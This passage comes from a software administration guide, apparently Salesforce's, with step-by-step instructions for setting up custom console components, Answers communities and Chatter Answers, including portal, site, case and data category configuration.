Type a name for your component.
Click Hide to hide your component from console users.
Hidden components dont display to console users, but they can still function in the background.

5. In Button Name, type the label that will display on the button users click to launch your component. For example, Live
Chat.
6. In Button CSS, enter the in-line style used to define how the button looks to users who click it to launch your component.
7. Enter the width of the button as it should display in the console.
8. In Visualforce Page, type the name of your component, or click
to find and select it.
9. Enter the height and width of the window used to display your component in the console.
10. Click Fixed Width or Fixed Height to prevent users from changing the dimensions of the window used to display
your component.
11. Click Save.

1532

Customize

Custom Console Components Overview

Before users can access your component, you must assign it to each console where you want users to access it. See Assigning
a Custom Console Component to an App on page 1533.

See Also:
Adding Custom Console Components to Page Layouts
Custom Console Components Overview

Assigning a Custom Console Component to an App


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To assign custom console components to an app:

Customize Application

After you add a custom console component to Service Cloud console apps, you must assign it to each console where you want
users to access it.
1.
2.
3.
4.
5.

Click Your Name > Setup > Create > Apps.


Select a Service Cloud console app.
Click Edit.
In Choose Custom Console Components, add any available components to your app.
Click Save.

See Also:
Adding Custom Console Components to Apps

1533

Setting Up Answers

Setting Up Answers

SETTING UP ANSWERS
Setting Up Answers
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize answers settings:

Customize Application

To set up answers:
1. Enable answers and set the default community.
2. Create a category group for answers and add data categories to the category group.
Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level
of categories is supported in your answers community. Child categories below the first level are not displayed in
the community, and community members can't assign these child categories to questions.
3. Assign the data categories to your answers community.
4. Review the category group visibility settings to decide how you want to restrict access to categories and categorized questions
in the answers community.
5. If your organization has as role hierarchy set up:
a. Customize each role's category group visibility.
b. Assign roles to the users that you want to participate in the answers community.
c. (Optional) Designate default category group visibility for users without roles, such as high-volume portal users.
6. (Optional) To allow community members who work with cases to escalate an unanswered or problematic question to a
new case:
a. On the Your Name > Setup > Customize > Cases > Page Layouts page, edit the case page layouts to include the
Question field.
b. On the Your Name > Setup > Customize > Cases > Fields page, ensure that field-level security for the Question
field makes the field visible in the necessary profiles.
Only community members who have permission to create cases will see an Escalate to Case option on questions.
7. (Optional) If your organization uses Salesforce Knowledge, users can convert particularly helpful replies into articles in the
knowledge base. Click Your Name > Setup > Customize > Knowledge > Settings and ensure that Allow users to
create an article from a reply is checked.
8. (Optional) Create validation rules for questions and replies to prevent offensive language from being posted to the answers
community.

1534

Customize

Enabling Answers and Assigning the Default Community

To create validation rules, click Your Name > Setup > Customize > Answers > Question > Validation Rules and Your
Name > Setup > Customize > Answers > Reply > Validation Rules. Refer to Community Validation Rules on page 1188
for sample rules.
9. (Optional) Create workflow rules for questions. For example, you may want to create a workflow rule that sends the
community administrator an email whenever a question has ten or more replies but no best answer. Questions do not
support approval processes or workflow tasks.
10. (Optional) Create reports for your answers community.
11. (Optional) Enable answers in your Customer Portal or enable answers in your partner portal.
Tip: Any custom fields you create for questions or replies cant display in the Salesforce user interface. However, you
can add custom fields to questions or replies for API integration purposes. For example, add a custom text field to
questions and use the API to populate that text field with the name of the country from which each question is posted.
For more information, see Customizing Fields on page 1057 and Which API Should I Use? on page 2070.

See Also:
Answers Overview
Salesforce Answers Implementation Guide

Enabling Answers and Assigning the Default Community


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize answers settings:

Customize Application

Answers is a feature of the Community application that enables users to ask questions and have community members post
replies. Community members can then vote on the helpfulness of each reply, and the person who asked the question can mark
one reply as the best answer.
To enable the answers feature:
1. Click Your Name > Setup > Customize > Answers > Settings.
2. Click Edit.
3. Use the Enable Answers checkbox to enable answers.
Enabling answers adds the Answers tab to the Community application and creates a community named Internal Community.
4. Select the default community for the Answers tab. You can only display one answers community at a time. You can either
use Internal Community as the default or create a new community and use it as the default.

1535

Customize

Creating and Editing Communities

5. Click Save.

See Also:
Answers Overview
Creating and Editing Communities
Salesforce Answers Implementation Guide

Creating and Editing Communities


Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions
Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit a community:

Customize Application

To create a new community or edit the details of an existing community:


1. Click either:

Your Name > Setup > Customize > Ideas > Communities
Your Name > Setup > Customize > Answers > Communities
Your Name > Setup > Customize > Chatter Answers > Communities

Communities are shared by the ideas, answers, and Chatter Answers features, allowing you to view and create communities
from those locations. Because Chatter Answers integrates several Salesforce features, there are separate instructions for
creating and editing its communities. See Configuring a Chatter Answers Community on page 1557.
2. Click Edit next to the community you want to change or New to create a new community.
3. Enter a unique name for your community. This name displays to all community members so use a name that clearly
identifies the community's purpose.
For ideas, if you have more than one community, the community whose name comes first in the alphabet is the community
that is displayed when users first visit the Ideas tab. For example, if you're a computer manufacturer and have a community
named Laptop Products and another named Desktop Products, the Desktop Products community appears first when users
go to the Ideas tab. Answers can only have one community displayed at a time.
4. Optionally, enter a description in plain text. HTML and other markup languages are not supported.
5. Select the Active checkbox to display the community to your ideas and answers users.
You can't delete communities, so if you need to hide a community, make sure Active isn't selected. All active communities
are automatically available from the Ideas tab (if ideas is enabled), but you can only assign one active community to answers.
To make a community available from answers, enable answers and assign the default community.
6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For
information on creating public groups, see Creating and Editing Groups on page 590.

1536

Customize

Creating and Editing Communities

Note: Expert groups are only supported in Salesforce CRM Ideas. Answers doesn't support this feature.

7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community
displayed to internal Salesforce users and not to Customer Portal or partner portal users, select Do Not Display in
Portal.
To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using
Force.com sites. Answers communities do not support Force.com sites.
When you display a community in a portal, (External) is appended to the community name. Communities that aren't
displayed in a portal have (Internal) appended to the name. For example, Laptop Products Community (External).
8. Click Save.
Community Expert Overview
A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization.
When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community
members can easily identify credible information within the community. The Salesforce administrator can designate as many
community experts as necessary.
Before you select a public group to be community experts, note the following:

A community expert can be an employee of your organization who is responsible for providing official responses to the
community, or a community expert can be someone outside your organization who is active within the community and
knowledgeable about the subject matter.
The only difference between a community expert and other community members is the unique icon that displays next to
the community expert's name. Community experts do not have any extra permissions beyond what is specified in their
user profile and permission sets.
Community experts must be part of a public group and that public group must be specified in the Experts Group
drop-down list. You may need to create a public group for each community if the experts within those communities are
different.
If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change
the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your
portal and use the expertUserBadge class to reference the new background image for the community expert. We
recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner
Portals on page 3463 and Enabling Customer Portal Login and Settings on page 1671.

See Also:
Selecting Picklist Values and Defaults for a Community
Communities Home
Enabling Salesforce CRM Ideas in the Customer Portal
Force.com Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide

1537

Customize

Assigning Data Categories to Answers

Assigning Data Categories to Answers


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize answers settings:

Customize Application

In an answers community, a category group provides one or more categories that help organize questions for easy browsing. If
the category group contains a hierarchy, only the first-level categories display on the Answers tab. For example, if you're a
computer manufacturer you might create a Products category group for your Products community that has four categories:
Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. Community members can choose one
of the categories to assign to a question.
The following example shows how the categories within a category group appear on the Answers tab.

Figure 9: Answers tab displaying categories


1. The community assigned to answers.
2. When you assign a category group to answers, the data categories within the group appear beneath the community name
on the Answers tab. Community members can assign these categories to their questions and browse within categories to
see related questions. The name of the category group isn't displayed within the answers community.
The name of the category group is not displayed in the answers community; however, all the categories within the group appear
below the community name on the Answers tab.
To assign a category group to answers:
1. Create a category group for answers and add data categories to the category group.

1538

Customize

Editing and Deleting a Reply

We recommend naming the category group the same as the answers community so other administrators understand where
the category group is being used.
Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level
of categories is supported in your answers community. Child categories below the first level are not displayed in
the community, and community members can't assign these child categories to questions.
2. Go to Your Name > Setup > Customize > Answers > Data Category Assignments. The category group assignments
page only displays after you enable answers.
3. Click Edit.
4. Select the category group you want to assign to your answers community.
Note: If you change the category group for answers later, all the existing categories associated with your questions
are removed. The questions in your answers community become uncategorized until community members assign
the new categories to them.
5. Click Save.
You receive an email after the save process completes.

See Also:
Answers Overview
What are Data Categories?
About Category Group Visibility

Editing and Deleting a Reply


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit replies:

Edit on questions

To delete replies:

Delete on questions

Standard users without the edit and delete permissions on the answers object cannot edit or delete their replies. However,
as the Salesforce administrator, you can edit or delete any reply posted to a community. For example, you may want to monitor
your answers community and edit or delete replies that contain inappropriate content or offensive language.
To edit or delete a reply:
1. Click the question title to view a list of all replies for the question.
2. Click Edit or Delete next to the reply you want to change or remove. When deleting a reply, the reply goes to the Recycle
Bin.
Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when
posting a reply.

1539

Customize

Editing and Deleting a Question

To create validation rules, click Your Name > Setup > Customize > Answers > Question > Validation Rules and Your
Name > Setup > Customize > Answers > Reply > Validation Rules. Refer to Community Validation Rules on page 1188 for
sample rules.

See Also:
Answers Overview
Using Answers
Replying to a Question

Editing and Deleting a Question


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit any question:

Edit on questions

To delete any question:

Delete on questions

Standard users can delete their own questions if the questions have not received replies. Once a question receives a reply, the
owner of the question can no longer delete it. As the Salesforce administrator, you can edit or delete any question posted to
a community. For example, you may want to monitor your answers community and edit or delete questions that contain
inappropriate content or offensive language.
To edit or delete a question:
1. Click the question title to view the question detail page.
2. Click Edit or Delete at the top of the page. When editing a question, you can change the title or description and select a
different category for the question. When deleting a question, the question (and all associated replies) goes to the Recycle
Bin.
Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when
asking a question.
To create validation rules, click Your Name > Setup > Customize > Answers > Question > Validation Rules and Your
Name > Setup > Customize > Answers > Reply > Validation Rules. Refer to Community Validation Rules on page 1188 for
sample rules.

See Also:
Answers Overview
Using Answers
Asking a Question

1540

Customize

Setting Up Reports for Answers

Setting Up Reports for Answers


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or update custom report types:

Manage Custom Report Types

To delete custom report types:

Modify All Data

As an administrator, you can create custom report types so users can run and create custom reports about questions, replies,
and votes. Custom report types are the only way to make reports about your answers community available for your
usersSalesforce does not provide sample answers reports or a standard report folder for answers.
To create a folder of answers reports for your users:
1. Set up a custom report type for answers.

The primary object for your report is Questions.


There isn't a specific report category for answers, so you probably want to store your report in the Other Reports or
Administrative Reports category.
When setting up object relationships, Questions can have a relationship with Replies, and Replies can have a relationship
with Votes.

2. Create a new public folder for answers reports. This step requires the Manage Public Reports permission.
3. Using your custom report type, create one or more new custom reports for answers. Assign the reports to the new answers
reports folder you created.
After completing these steps, a folder of answers reports is available to your users on the Reports home page.

See Also:
Answers Overview

1541

Setting Up Chatter Service

Chatter Answers Implementation Overview

SETTING UP CHATTER SERVICE


Chatter Answers Implementation Overview
Available in: Enterprise and Unlimited Editions

Note: We recommend that advanced Salesforce administrators and developers set up and maintain Chatter Answers,
as it involves several Salesforce features.
Chatter Answers integrates Cases, Answers, Force.com Sites, Customer Portal, and Salesforce Knowledge to provide you
with a Web community for your customers. Before administrators can set up Chatter Answers, their organizations must have
implemented Data Categories. If you want knowledge articles to display in your Web community, then administrators need
to implement Salesforce Knowledge.
Unlike other Salesforce features, Chatter Answers spans across several areas of setup. There isnt one location in Salesforce
where you can update and configure all of the settings related to Chatter Answers. For example, configuring Chatter Answers
might require you to update Customer Portal settings by clicking Your Name > Setup > Customize > Customer Portal >
Settings, as well as Force.com Site settings by clicking Your Name > Setup > Develop > Sites.
Setting up Chatter Answers also includes customizing or maintaining:

Cases
Case assignment rules
Workflow rules on cases or questions
Apex triggers on questions
Visualforce pages
Customer Portal users
Organization-wide sharing defaults
Feature licenses

Customizing the appearance of your Chatter Answers community to match your companys branding involves creating or
updating Visualforce pages and adding them to the Force.com Site used to host your community.

See Also:
Chatter Answers Overview
Chatter Answers Users Overview
Setting Up Chatter Answers
Chatter Answers Implementation Guide
Chatter Answers Implementation Tips
Chatter Answers Best Practices

1542

Customize

Chatter Answers Implementation Overview

Chatter Answers Limitations


Consider the following limitations when planning and using Chatter Answers.

Chatter Answers doesnt support Internet Explorer 6.


Users can't escalate a question to a case, but support agents can escalate questions from the Answers or Questions tabs.
Each question can receive up to 500 replies from users.
There are no standard reports for Chatter Answers, but you can create custom report types for questions.
Administrators cant customize the FAQ (Frequently Asked Questions) available to customers when they click Need help?.

See Also:
Chatter Answers Overview
Chatter Answers Implementation Tips
Chatter Answers Best Practices
Setting Up Chatter Answers

Chatter Answers Implementation Tips


Available in: Enterprise and Unlimited Editions

Consider the following information when planning and implementing Chatter Answers.

We recommend that advanced Salesforce administrators and developers set up and maintain Chatter Answers, as it involves
several Salesforce features.
Before administrators can set up Chatter Answers, their organizations must have implemented Data Categories. If you
want knowledge articles to display in your Web community, then administrators need to implement Salesforce Knowledge.
You can customize fields, Apex triggers, and validation rules for questions and replies for Chatter Answers by clicking
Your Name > Setup > Customize > Chatter Answers and choosing the appropriate setting.
After you enable Chatter Answers, several items are automatically added to your organization for use with setting up
communities:
Questions on user profiles so that you can grant users permissions to questions and replies.
Visualforce pages that you add to a Force.com site so that users can register, sign in, and view feed items on a community.
An Apex trigger for questions named chatter_answers_question_escalation_to_case_trigger so that
questions with specified attributes are automatically escalated to cases.
A workflow field update named chatter_answers_num_subscriptions_above_ so that when a question is
escalated to a case, Priority on questions is updated.
Two workflow rules, chatter_answers_no_best_reply_within_time_limit_wf and
chatter_answers_num_subscriptions_above_limit_wf, which you can customize and activate so that
questions without best replies or questions with a specified number of followers are automatically escalated to cases.

You can add Chatter Answers to an existing Customer Portal or Partner Portal so that portal users can access Chatter
Answers communities from one of your established channels.

1543

Customize

Chatter Answers Implementation Overview

Chatter Answers is designed to support one user language for each Web community you create. When you enable Chatter
Answers, the Visualforce pages automatically added to your organization inherit your organizations default language.
However, you can change the language attribute on each Visualforce page. Users who self-register for your community
inherit your organizations default language. Guest users view your community in the language specified in the Visualforce
pages, no matter the language chosen for their browsers.
You can rename Customer Support on your communities user interface. For example, you can change Customer
Support to Acme Support. Just edit the Customer Support label on the Question object. See Renaming Tab and Field
Labels on page 1054.
Questions escalated to cases display a Chatter-like feed on case detail pages. The case detail page also includes a Customer
View section that lets support agents reply publicly or privately to the thread posted to the community.
Case comments marked Public display as private messages from customer support in Chatter Answers; they don't display
to the entire community. For example, if a support agent adds a public case comment, it only displays to the case's contact
when he or she logs in to Chatter Answers to review private messages. Support agents can read all private and public case
comments. See Creating and Editing Case Comments on page 3185.
Chatter Answers sends emails to users when they:

Sign up for an account.


Follow a question (answers or comments).
Receive an answer or comment to their question.
Receive a private reply to their question from customer support.

Internet Explorer 8 users receive a security warning if you customize Chatter Answers with URLs that don't include
https://.
Before you make a Web community public, add at least 20 frequently asked questions, answers, or articles. This content
will generate conversations.
Create knowledge articles that contain:
Your support organization's phone number so that customers can contact your support agents directly.
Terms and conditions for community members, such as when support agents might delete customers' questions and
comments.

Chatter Answers uses the following API objects:

Case
ChatterAnswersActivity
Community
Question
QuestionReportAbuse
QuestionSubscription
Reply
ReplyReportAbuse

See the SOAP API Developer's Guide.

See Also:
Chatter Answers Overview
Chatter Answers Best Practices
Chatter Answers Terminology

1544

Customize

Setting Up Chatter Answers

Chatter Answers Best Practices


Consider the following tips when planning and using Chatter Answers.

We recommend that you tell support agents that:


The Case Origin field lists Chatter Answers on any case converted from a question.
If they answer a question privately, they can't convert it to a public answer.

We recommend that you assign a support agent to review public questions from the Questions tab. Agents cant click Flag
next to questions or replies that are spam, hateful, or inappropriate, but they can delete questions or replies from a Web
community via the Questions tab if they have the Delete permission on questions.
To moderate many questions quickly, we recommend that support agents review questions from pinned lists on the Service
Cloud console (this requires adding the Questions tab to the consoles Navigation tab; see Creating a Service Cloud Console
App on page 1523).
To see a list of cases converted from questions, we recommend that administrators or support agents create a case view
where Case Origin equals Chatter Answers. See Creating Custom List Views on page 272.
Because photos added to profiles display externally on Chatter Answers, we recommend that support agents choose photos
that match their company's policies and branding. See Uploading Chatter Group and Profile Photos on page 2384.

See Also:
Chatter Answers Overview
Chatter Answers Implementation Tips
Chatter Answers Terminology

Setting Up Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To set up Chatter Answers:

Customize Application
AND
Manage Users
AND
Edit Self-Service Users

Note: The steps below are general guidelines for setting up Chatter Answers. Chatter Answers integrates several
Salesforce features, including features administrators may have implemented already, so each Chatter Answers
implementation may be different. Contact salesforce.com for specifics on your implementation.

1545

Customize

Setting Up Chatter Answers

Before administrators can set up Chatter Answers, their organizations must have implemented Data Categories. If you want
knowledge articles to display in your Web community, then administrators need to implement Salesforce Knowledge.
Before you set up Chatter Answers, you must purchase an adequate number of the following licenses:

Chatter Answers User


Knowledge User, if you plan to use knowledge articles
Customer Portal user licenses, we recommend High Volume Customer Portal

1. Enable Chatter Answers.


2. Configure email notification settings.
3. Implement a Customer Portal (if one doesnt already exist for your organization).
4. Configure your organizations Customer Portal for Chatter Answers.
5. Configure high-volume portal users for self-registration.
6. Implement a Force.com site (if one doesnt already exist for your organization).
7. Configure your organizations Force.com site for Chatter Answers.
8. Configure cases for Chatter Answers.
9. Set Questions tab visibility.
10. Optionally:

Assign data categories to Chatter Answers.


Configure Salesforce Knowledge for Chatter Answers.
Add Chatter Answers to your Customer Portals or Partner Portals.

11. Configure one or more Chatter Answers communities.


12. Troubleshoot any setup issues.
Important: After you set up Chatter Answers, it may not work properly if you change any of the configurations in
the features mentioned above. If certain configuration issues are detected, Salesforce sends email notifications to the
Site Contact user.
Tip:

You can add custom fields to questions or replies for API integration purposes only. For example, add a custom
text field to questions and use the API to populate that text field with the name of the country from which each
question is posted. Any custom fields you create for questions or replies cant display in the Salesforce user interface.
You can customize fields, Apex triggers, and validation rules for questions and replies for Chatter Answers by
clicking Your Name > Setup > Customize > Chatter Answers and choosing the appropriate setting.
You can rename Customer Support on your communities user interface. For example, you can change
Customer Support to Acme Support. Just edit the Customer Support label on the Question object. See Renaming
Tab and Field Labels on page 1054.

See Also:
Chatter Answers Overview
Chatter Answers Implementation Overview
Chatter Answers Implementation Guide

1546

Customize

Setting Up Chatter Answers

Enabling Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To enable Chatter Answers:

Customize Application

Enable Chatter Answers to set up Chatter Answers communities.


1.
2.
3.
4.

Click Your Name > Setup > Customize > Chatter Answers > Settings.
Click Edit.
Select Enable.
Optionally, select:
Option

Description

Optimize Question Flow

Lets users filter search results by articles or questions before


they post a question to any of your Chatter Answers
communities. Also, adds Title and Body fields to questions
for easier text input and scanning.

Show Chatter Answers in Portals

Lets you add Chatter Answers as a tab to your Customer


Portal or Partner Portal. If you choose this option, you must
add the Chatter Answers tab to each portal and assign the
Chatter Answers User license to portal users.
If you only want to display Chatter Answers in your portals,
then you dont need to set up a Force.com site to host
Chatter Answers. However, a site lets guest users access
some Chatter Answers data without a login, whereas portals
do not.

Enable Facebook Single Sign On

Lets users sign in to your Chatter Answers communities


with their Facebook logins. If you choose this setting, your
communities display an option to Sign in with
Facebook next to your communities Sign In. When a
user signs in to Chatter Answers with a Facebook login, the
first name, last name, and the photo associated with the
Facebook account is used in posts to your communities.
Before you enable this feature, you must define a Facebook
authentication provider in your organizations security
controls. See Configuring a Facebook Authentication
Provider on page 702.

Facebook Authentication Provider

Lets you choose an existing Facebook authentication provider


after you select Enable Facebook Single Sign On.

1547

Customize

Setting Up Chatter Answers

Option

Description
You must choose a Facebook authentication provider to
implement Facebook Single Sign On for your Chatter
Answers communities.

5. Click Save.
After you enable Chatter Answers, several items are automatically added to your organization for use with setting up
communities:

Questions on user profiles so that you can grant users permissions to questions and replies.
Visualforce pages that you add to a Force.com site so that users can register, sign in, and view feed items on a community.
An Apex trigger for questions named chatter_answers_question_escalation_to_case_trigger so that
questions with specified attributes are automatically escalated to cases.
A workflow field update named chatter_answers_num_subscriptions_above_ so that when a question is escalated
to a case, Priority on questions is updated.
Two workflow rules, chatter_answers_no_best_reply_within_time_limit_wf and
chatter_answers_num_subscriptions_above_limit_wf, which you can customize and activate so that questions
without best replies or questions with a specified number of followers are automatically escalated to cases.

See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers

Visualforce Pages for Chatter Answers


Available in: Enterprise and Unlimited Editions

After you enable Chatter Answers, the Visualforce pages below are automatically added to your organization. You can use
these pages to set up and configure Chatter Answers communities.
Visualforce page

Description

Community Name_main

The page that includes the question, reply, and Knowledge


article feeds for your community. This page is also used to
determine the community from which email notifications are
sent to users.

(Home Page)

This page is automatically generated when you save a new


community without choosing Visualforce Page That
Hosts Your Communitys Feeds. The generated page
includes your communitys ID so that topics, questions, and
replies are associated with your specific community and can
display on it. The page is named after your community with
a suffix of _main, for example, CommunityName_main.

1548

Customize

Setting Up Chatter Answers

Visualforce page

Description
The page also includes a language attribute that matches your
organizations default language.

ChatterAnswersAgentView

The Visualforce component that displays questions on case


detail pages when questions are converted to cases. This
component is optional and offers an alternative to the case
detail page.

ChatterAnswersChangePassword

The page where users can change their passwords to your


community.

ChatterAnswersForgotPassword

The forgot password page for your community.

ChatterAnswersForgotPasswordConfirm

The forgot password confirmation page for your community.

ChatterAnswersHelp

The online help page displayed to users when they click Need
Help?.

ChatterAnswersLogin

The login page for your community.

ChatterAnswersRegistration

The page where users can self-register for access to your


community.

See Also:
Enabling Chatter Answers
Setting Up Chatter Answers
Visualforce Overview

Configuring Email Notifications for Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To configure email notifications for your Chatter Answers
communities:

Customize Application

Determine when emails are sent to users by configuring the notification settings that apply to all of your Web communities.
Each email includes a link to a specific community so that users can easily return to it.
1. Click Your Name > Setup > Customize > Chatter Answers > Email Notification Settings.
2. Click Edit.
3. Choose from the following settings:
Option

Description

Replies to a question they own

Notify customers when other users reply to their questions.

1549

Customize

Setting Up Chatter Answers

Option

Description

Replies to a question they follow

Notify customers when other users reply to questions theyre following.

Selects a best answer on a question they Notify customers when a best answer is selected for a question theyre
following.
follow
Sends a private reply to their question Notify customers when customer support responds to their questions
privately.
(Customer Support)

4. Click Save.

See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
Configuring a Chatter Answers Community

Configuring a Customer Portal for Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To set up and update the Customer Portal:

Customize Application

Configure a Customer Portal for Chatter Answers to authenticate users who sign in to your Chatter Answers community.
1.
2.
3.
4.

Click Your Name > Setup > Customize > Customer Portal > Settings.
Click Edit next to the Customer Portal you want to configure for Chatter Answers.
Click Login Enabled to let customers sign in to Chatter Answers.
In From Email Address, type the address from which all email communications from your Chatter Answers community
are sent. For example, support@acme.com.
5. In From Email Address Name, type the name associated with the From Email Address. For example, Acme
Customer Support.
6. Click Self-Registration Enabled to let customers register themselves for access to Chatter Answers.
7. In Default New User License, choose the portal user license thats automatically assigned to customers who
self-register. We recommend you choose the High Volume Customer Portal license.
8. In Default New User Profile, choose the profile thats automatically assigned to customers who self-register. We
recommend you choose the profile you cloned and customized for self-registration.
9. Click Save.
10. Assign the profile you selected as the Default New User Profile to your Customer Portal so that users can sign in
to your community:
a. Click Your Name > Setup > Customize > Customer Portal > Settings.
b. Select your portals name.

1550

Customize

Setting Up Chatter Answers

c. In the Assigned Profiles section, click Edit Profiles.


d. Click Active next to the profile you selected as the Default New User Profile.
e. Click Save.
Tip: To learn how you can add Chatter Answers as a tab to one of your Customer Portals, see Adding Chatter Answers
to a Portal on page 1559.

See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
Enabling Customer Portal Login and Settings
Understanding User License Types

Configuring Portal Users for Self-Registration to Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To set up and update the Customer Portal:

Customize Application

To manage Customer Portal users:

Edit Self-Service Users

Configure Customer Portal users for self-registration to your Chatter Answers community.
1. Clone the High Volume Customer Portal profile so that you can customize it:
a.
b.
c.
d.

Click Your Name > Setup > Manage Users > Profiles.
Click Clone next to High Volume Customer Portal.
Type a name for the new profile.
Click Save.

2. Customize the cloned profile to include permissions to the standard objects on your community:
a.
b.
c.
d.

Click Your Name > Setup > Manage Users > Profiles.
Click the name of the cloned profile.
Click Edit.
In Standard Object Permissions, click on the following permissions to these objects:
Object

Permissions

Cases

Read, Create

Contacts

Read

Questions

Read, Create

1551

Customize

Setting Up Chatter Answers

e. Click Save.

See Also:
Setting Up Chatter Answers
Configuring a Customer Portal for Chatter Answers
Chatter Answers Users Overview

Configuring a Force.com Site for Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

Configure a Force.com site for Chatter Answers to host a domain and publicly display some of your Salesforce data, such as
questions, replies, and knowledge articles.
1. Click Your Name > Setup > Develop > Sites.
2. Click Edit next to the name of the site you want to configure for Chatter Answers.
3. Click Active to activate the site.
You can activate the site after youve finished setting up Chatter Answers.
4. In Active Site Home Page, choose a Visualforce page as the home page for your Chatter Answers community.
5. Click Save.
6. Click Edit on the Site Visualforce Pages related list.
a. Use the Add and Remove buttons to enable the following Visualforce pages for your site:

ChatterAnswersAgentView
ChatterAnswersChangePassword
ChatterAnswersForgotPassword
ChatterAnswersForgotPasswordConfirm
ChatterAnswersHelp
ChatterAnswersLogin
ChatterAnswersRegistration

b. Click Save.
7. Click Public Access Settings to grant guest users (unauthenticated, non-Customer Portal users) access to cases, questions,
and Salesforce Knowledge articles.
a. Click Edit on the profile for Chatter Answers users.
b. In Standard Object Permissions, click Read on Cases and Questions.
c. Optionally, if you want articles to display in your Chatter Answers community, click Read on articles types in Article
Type Permissions.

1552

Customize

Setting Up Chatter Answers

d. Click Save.
8. Click Edit next to a category group in the Category Group Visibility Settings related list to grant users access to the
categories so that they can browse questions, replies, and knowledge articles.
a. Next to Visibility, click All Categories.
b. Click Save.
9. Return to the site and select its name by clicking Your Name > Setup > Develop > Sites.
10. Click Login Settings to enable user authentication for the site.
a. Click Edit.
b. In Enable Login For, choose the Customer Portal you created for Chatter Answers.
c. Click Save.
After you configure your Force.com site for Chatter Answers, you can replace the standard Visualforce pages that make up
your community with customized ones. The Visualforce pages are automatically set to your sites URL so that portal users can
navigate to them.
1. Click Your Name > Setup > Customize > Chatter Answers > Sites Settings.
2. Click Edit next to a site.
3. Choose the pages to replace. If you replace the Change Password Page, the Change Password Page for your site
is automatically updated too.
4. Click Save.
Note: Internet Explorer 8 users receive a security warning if you customize Chatter Answers with URLs that don't
include https://.

See Also:
Chatter Answers Implementation Overview
Setting Up Chatter Answers
Configuring Force.com Sites
Visualforce Pages for Chatter Answers

1553

Customize

Setting Up Chatter Answers

Configuring Cases for Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To set organization-wide sharing defaults:

Manage Users
AND
Customize Application

To set field-level security:

Customize Application

To customize fields:

Customize Application

To create assignment rules:


To grant high-volume portal users access to cases:

Configure case features for Chatter Answers so that cases are created, escalated, and accessed by the appropriate users of your
Chatter Answers communities.
1. Set your organization-wide sharing defaults to Private on Account, Controlled by Parent on Contact, and Private on Case
to prevent users from accessing each others information.
2. Set field-level security on Question on cases to Visible for profiles assigned to your Customer Portal so that users can
access their private questions.
3. Update Origin on cases with the value in the Question trigger so that support agents can see which cases originated from
Chatter Answers.
4. Create a case assignment rule where Case Origin equals the value of Chatter Answers so that cases created from private
questions are assigned to support agents.
5. Grant high-volume portal users access to cases so that they can access their private questions on Chatter Answers.

See Also:
Setting Up Chatter Answers

1554

Customize

Setting Up Chatter Answers

Setting Questions Tab Visibility


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To set Questions tab visibility:

Manage Users

Set the visibility of the Questions tab to Default On so that support agents can view, search, filter, and moderate questions
posted to your Chatter Answers community.
1. Click Your Name > Setup > Manage Users > Profiles.
2. Select a support agent profile.
3. Depending on which user interface you're using, do one of the following:

Enhanced profile user interfaceIn the Find Settings... box, enter the name of the tab you want and select it from
the list, then click Edit.
Original profile user interfaceClick Edit, then scroll to the Tab Settings section.

4. Specify the visibility of the Questions tab to Default On.


5. (Original profile user interface only) To reset users tab customizations to the tab visibility settings that you specify, select
Overwrite users' personal tab customizations.
6. Click Save.

See Also:
Setting Up Chatter Answers
Customizing Your Display
Questions Home

Assigning Data Categories to Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To assign data categories to Chatter Answers:

Customize Application

Assign a data category group to Chatter Answers so that its available to all of your Chatter Answers communities. You
configure each community with a top-level data category (topic) in which customers and support agents can categorize and
filter questions and knowledge articles.
1. Click Your Name > Setup > Customize > Chatter Answers > Data Category Assignments.

1555

Customize

Setting Up Chatter Answers

2. Click Edit.
3. Select a category group.
4. Click Save.

See Also:
Setting Up Chatter Answers
What are Data Categories?

Configuring Salesforce Knowledge for Chatter Answers


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To create or edit users:

Manage Users

To create article types and article actions:

Customize Application
AND
Manage Salesforce Knowledge

To manage synonyms:

Manage Synonyms

To create data categories:

Manage Data Categories

To display knowledge articles in your Chatter Answers communities, you must:


1. Implement Data Categories (if you havent done so already).
2. Implement Salesforce Knowledge (if you havent done so already).
3. Configure both for Chatter Answers.
You configure each community with a top-level data category (topic) in which customers and support agents can categorize
and filter questions and knowledge articles.
1. Set the Default Data Category Visibility to All Categories so that customers not included in your organizations role
hierarchy, such as high-volume portal users, can access categories that include questions and knowledge articles.
